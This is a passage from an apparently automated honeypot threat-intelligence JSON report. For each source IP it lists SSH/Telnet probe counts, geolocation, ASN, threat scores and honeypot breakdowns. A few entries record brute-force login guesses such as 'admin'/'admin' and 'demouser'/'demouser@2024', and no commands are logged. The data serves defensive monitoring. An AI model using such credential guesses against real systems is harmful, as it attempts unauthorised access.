        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:46:12.709000+00:00",
        "last_seen_30d": "2026-05-20T08:59:41.047000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "64.62.197.77": {
      "attack_count": 7,
      "first_seen": "2026-05-26T12:00:38.255Z",
      "last_seen": "2026-05-26T12:00:38.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 30,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T08:36:51+00:00",
        "last_seen_30d": "2026-05-31T13:25:30.749000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 78,
        "Cowrie": 7,
        "ConPot": 5,
        "Adbhoney": 4,
        "Tanner": 3,
        "ElasticPot": 2,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "103.16.128.163": {
      "attack_count": 6,
      "first_seen": "2026-05-11T05:23:40.942Z",
      "last_seen": "2026-05-11T05:23:46.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 133159,
      "as_org": "Mammoth Media Pty Ltd",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:23:40.942000+00:00",
        "last_seen_30d": "2026-05-11T05:24:53.073000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "186.226.56.140": {
      "attack_count": 6,
      "first_seen": "2026-05-14T02:54:13.274Z",
      "last_seen": "2026-05-14T02:54:19.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:54:13.274000+00:00",
        "last_seen_30d": "2026-05-14T02:55:21.432000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "191.245.168.239": {
      "attack_count": 6,
      "first_seen": "2026-05-18T23:58:55.742Z",
      "last_seen": "2026-05-19T01:03:42.285Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:58:55.742000+00:00",
        "last_seen_30d": "2026-05-19T01:04:44.855000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "198.235.24.107": {
      "attack_count": 6,
      "first_seen": "2026-05-14T21:25:12.954Z",
      "last_seen": "2026-05-31T16:49:08.260Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T20:48:52+00:00",
        "last_seen_30d": "2026-05-31T20:11:13.865000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 25,
        "Cowrie": 6,
        "ConPot": 1
      }
    },
    "199.45.155.82": {
      "attack_count": 6,
      "first_seen": "2026-05-02T23:35:15.764Z",
      "last_seen": "2026-05-02T23:35:50.890Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 87.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 30,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:36:31+00:00",
        "last_seen_30d": "2026-05-31T09:21:00.077000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29,
        "Honeytrap": 23,
        "Cowrie": 6,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "2.26.103.104": {
      "attack_count": 6,
      "first_seen": "2026-05-13T04:32:19.033Z",
      "last_seen": "2026-05-13T04:32:59.447Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T04:32:19.033000+00:00",
        "last_seen_30d": "2026-05-13T04:34:05.034000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "201.238.3.185": {
      "attack_count": 6,
      "first_seen": "2026-05-19T22:11:35.354Z",
      "last_seen": "2026-05-19T23:32:42.497Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:11:35.354000+00:00",
        "last_seen_30d": "2026-05-19T23:33:44.420000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "37.60.241.154": {
      "attack_count": 6,
      "first_seen": "2026-05-13T13:54:27.552Z",
      "last_seen": "2026-05-21T17:03:53.866Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6164,
        "days_active_30d": 30,
        "ports_targeted_30d": 2005,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-02T00:19:04+00:00",
        "last_seen_30d": "2026-05-31T23:43:37.838000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3403,
        "Honeytrap": 2712,
        "Dionaea": 15,
        "Miniprint": 12,
        "ConPot": 6,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Dicompot": 3,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "87.236.176.251": {
      "attack_count": 6,
      "first_seen": "2026-05-18T14:09:11.180Z",
      "last_seen": "2026-05-18T14:09:14.656Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:41:34.108000+00:00",
        "last_seen_30d": "2026-05-18T14:10:20.272000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "111.228.36.44": {
      "attack_count": 5,
      "first_seen": "2026-05-08T10:38:21.137Z",
      "last_seen": "2026-05-08T10:40:21.142Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "demouser"
      ],
      "passwords_attempted": [
        "demouser@2024"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141679,
      "as_org": "China Telecom Beijing Tianjin Hebei Big Data Industry Park Branch",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:38:21.137000+00:00",
        "last_seen_30d": "2026-05-08T10:50:30.752000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "18.223.0.198": {
      "attack_count": 4,
      "first_seen": "2026-05-28T12:59:11.682Z",
      "last_seen": "2026-05-28T13:01:45.426Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T12:51:40+00:00",
        "last_seen_30d": "2026-05-28T13:34:45.411000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "181.17.151.90": {
      "attack_count": 4,
      "first_seen": "2026-05-20T01:10:35.909Z",
      "last_seen": "2026-05-20T04:31:28.202Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:10:35.909000+00:00",
        "last_seen_30d": "2026-05-20T04:32:30.021000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "190.121.239.230": {
      "attack_count": 4,
      "first_seen": "2026-05-24T07:24:33.896Z",
      "last_seen": "2026-05-24T07:26:37.794Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27717,
      "as_org": "Corporacion Digitel C.A.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:24:33.896000+00:00",
        "last_seen_30d": "2026-05-24T07:27:42.399000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "38.123.94.210": {
      "attack_count": 4,
      "first_seen": "2026-05-06T12:35:42.957Z",
      "last_seen": "2026-05-06T12:35:43.019Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "South Bend",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 1,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-06T12:35:42.898000+00:00",
        "last_seen_30d": "2026-05-06T12:40:50.348000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 14,
        "Dionaea": 7,
        "Cowrie": 4,
        "Miniprint": 3,
        "Sentrypeer": 1
      }
    },
    "38.159.52.194": {
      "attack_count": 4,
      "first_seen": "2026-05-13T00:49:53.897Z",
      "last_seen": "2026-05-13T00:53:55.433Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 269946,
      "as_org": "BOOM SOLUTIONS C.A.",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T00:49:53.897000+00:00",
        "last_seen_30d": "2026-05-13T00:55:30.889000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "42.180.116.72": {
      "attack_count": 4,
      "first_seen": "2026-05-19T05:44:21.340Z",
      "last_seen": "2026-05-19T05:44:32.029Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:44:21.340000+00:00",
        "last_seen_30d": "2026-05-19T05:45:40.548000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "47.114.101.203": {
      "attack_count": 4,
      "first_seen": "2026-05-19T00:37:38.937Z",
      "last_seen": "2026-05-25T13:58:45.763Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:37:38.937000+00:00",
        "last_seen_30d": "2026-05-25T13:59:46.115000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "88.235.243.40": {
      "attack_count": 4,
      "first_seen": "2026-05-21T17:58:10.963Z",
      "last_seen": "2026-05-21T18:00:12.372Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Tokat Province",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:58:10.963000+00:00",
        "last_seen_30d": "2026-05-21T18:10:51.980000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "129.153.194.169": {
      "attack_count": 3,
      "first_seen": "2026-05-09T01:11:18.771Z",
      "last_seen": "2026-05-09T01:12:20.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:11:18.771000+00:00",
        "last_seen_30d": "2026-05-09T01:13:29.154000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "213.199.54.107": {
      "attack_count": 3,
      "first_seen": "2026-05-18T17:16:36.909Z",
      "last_seen": "2026-05-18T17:17:37.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:16:36.909000+00:00",
        "last_seen_30d": "2026-05-18T17:18:38.891000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "47.90.215.51": {
      "attack_count": 3,
      "first_seen": "2026-05-21T21:15:44.172Z",
      "last_seen": "2026-05-21T21:16:45.277Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:15:44.172000+00:00",
        "last_seen_30d": "2026-05-21T21:17:52.450000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "1.0.165.243": {
      "attack_count": 2,
      "first_seen": "2026-05-20T07:04:53.825Z",
      "last_seen": "2026-05-20T07:05:06.549Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phuket",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:04:53.825000+00:00",
        "last_seen_30d": "2026-05-20T07:06:16.078000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.213.68.235": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:13:45.068Z",
      "last_seen": "2026-05-03T05:13:58.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 328988,
      "as_org": "SAFARICOM-TEL",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:13:45.068000+00:00",
        "last_seen_30d": "2026-05-03T05:15:07.344000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "102.214.117.66": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:47:16.248Z",
      "last_seen": "2026-05-16T13:47:29.716Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Uitenhage",
      "asn": 329126,
      "as_org": "IIP-AS",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:47:16.248000+00:00",
        "last_seen_30d": "2026-05-16T13:48:30.364000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.160.197.66": {
      "attack_count": 2,
      "first_seen": "2026-05-30T11:56:52.018Z",
      "last_seen": "2026-05-30T11:57:04.551Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "H\u0101thras",
      "asn": 135761,
      "as_org": "Userlinks Netcom Pvt. Ltd.",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:56:52.018000+00:00",
        "last_seen_30d": "2026-05-30T11:58:11.292000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.73.101.170": {
      "attack_count": 2,
      "first_seen": "2026-05-14T13:39:16.228Z",
      "last_seen": "2026-05-14T13:39:28.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
